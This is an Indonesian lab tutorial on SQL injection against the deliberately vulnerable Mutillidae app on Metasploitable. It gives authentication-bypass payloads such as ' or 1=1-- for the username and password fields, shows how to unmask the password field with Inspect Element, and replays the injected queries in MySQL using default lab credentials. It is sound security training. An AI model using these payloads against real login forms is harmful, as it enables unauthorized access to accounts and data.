Lesson 5
Section 8: SQL Injection: Single Quote Test On Username Field
- Step 1 : Buka Login/Register

- Step 2 : Ketik
'di kolom Name - Step 3 : Klik Login

- Step 4 : Anda akan mendapatkan error, jika terjadi error setelah anda login dengan Name
', berarti backend dari sistem rentan terhadap SQL Injection
- Query yang dihasilkan: ``` SELECT * FROM accounts WHERE username=''' AND password='' ```- Query Normal:
SELECT * FROM accounts WHERE username='admin' AND password='adminpass'
- Query Normal:
Section 9: SQL Injection: By-Pass Password Without Username (Obtain Access #1)
- Step 1 : Buka Login/Register
- Step 2 : Ketik
' or 1=1--di kolom Name dengan spasi di akhir-- - Step 3 : Klik Login

- Step 4 : Anda akan berhasil login dengan akun Admin karena Admin berada pada urutan paling atas pada database. Dengan kondisi
1=1maka akan menghasilkan kondisi yang selalu benar dan--berguna untuk comment pada SQL, karena itu query selanjutnya akan dibatalkan (AND password='').
- Query yang dihasilkan:
SELECT * FROM accounts WHERE username='' or 1=1-- ' AND password='' - Query yang sebenarnya dikerjakan:
SELECT * FROM accounts WHERE username='' or 1=1
- Query yang dihasilkan:
Section 9: SQL Injection: Single Quote Test On Password Field
- Step 1 : Buka Login/Register.
- Step 2 : Ketik
samuraidi kolom Name. - Step 3 : Klik Kanan di kolom Password.
- Step 4 : Klik Inspect Element.

- Step 5 : Ganti
passworddengan katatextpada element type.
- Step 6 : Ketik
'di kolom Password. - Step 7 : Klik Login. Perhatikan kolom password sudah tidak lagi tersensor dengan bintang karena type sudah diganti menjadi
text.
- Anda akan mendapatkan error

- Query di backend menjadi error, mengindikasikan bahwa backend dari sistem rentan terhadap SQL Injection.
- Query yang dihasilkan:
SELECT * FROM accounts WHERE username='samurai' and password=''' - Query Normal:
SELECT * FROM accounts WHERE username='samurai' AND password='samurai'
- Anda akan mendapatkan error
Section 10: SQL Injection: Single Quote Test On Password Field (Obtain Access #2)
- Step 1 : Buka Login/Register.
- Step 2 : Ketik
samuraidi kolom Name. - Step 3 : Klik Kanan di kolom Password.
- Step 4 : Klik Inspect Element.

- Step 5 : Ganti
passworddengan katatextpada element type.
- Step 6 : Ketik
' or 1=1--di kolom Password. Jangan lupa memberikan spasi setelah-- - Step 7 : Klik Login. Perhatikan kolom password sudah tidak lagi tersensor dengan bintang karena type sudah diganti menjadi
text. ![]/assets/lesson-5/non-obfused-pass-1.png)- Anda akan tetap terlogin sebagai admin bukan samurai, Karena Admin berada pada urutan atas dari hasil query. Hal ini disebabkan oleh desain dari program Multilidae.

- Anda akan tetap terlogin sebagai admin bukan samurai, Karena Admin berada pada urutan atas dari hasil query. Hal ini disebabkan oleh desain dari program Multilidae.
- Step 8 : Logout
Section 11: Single Quote Test On Password Field (Obtain Access #3)
- Step 1 : Buka Login/Register.
- Step 2 : Ketik
samuraidi kolom Name. - Step 3 : Klik Kanan di kolom Password.
- Step 4 : Klik Inspect Element.

- Step 5 : Ganti
passworddengan katatextpada elemen type. Ganti elemen maxlength menjadi50dan elemen size menjadi50
- Step 6 : Ketik
' or (1=1 and username='samurai')--di kolom Password. Jangan lupa memberikan spasi setelah-- - Step 7 : Klik Login. Perhatikan kolom password sudah tidak lagi tersensor dengan bintang karena type sudah diganti menjadi
text.
- Anda akan berhasil login sebagai
samurai
- Query yang dihasilkan
SELECT * FROM accounts WHERE username='samurai' AND password='' or (1=1 and username='samurai')-- '
- Anda akan berhasil login sebagai
Database Practice
- Step 1 : SSH Metasploitable dengan username
msfadmindan passwordmsfadmin.ssh [email protected] - Step 2 : Login MySQL dengan user
roottanpa passwordmysql -u root - Step 3 : Pilih database
owasp10
- Step 4 : Lihat daftar tabel dalam database
show tables; - Step 5 : Lihat isi semua kolom dari tabel
accountsdesc accounts;
- Step 6 : Lihat semua data dari tabel
accountsselect * from accounts;
- Step 7 : Contoh SQL Injection
select * from accounts where username = '' and password = '';select * from accounts where username = 'samurai' and password = 'samurai';select * from accounts where username = 'samurai' and password = 'wrongpassword';select * from accounts where username = 'samurai';-- and password = 'wrongpassword';
- Step 8 : Mencoba hasil dari Single Quote(')
select * from accounts where username = ''' and password = '';, dari section 8, step 2.';, dari section 8, step 2.select * from accounts where username = '' or 1=1; -- and password = '';, dari section 9, step 2.select * from accounts where username = 'samurai' and password = '' or 1=1; -- ';, dari section 10, step 6.
select * from accounts where username = 'samurai' and password = '' or (1=1 and username = 'samurai'); -- ';, dari section 11, step 6.
Proof of Lab
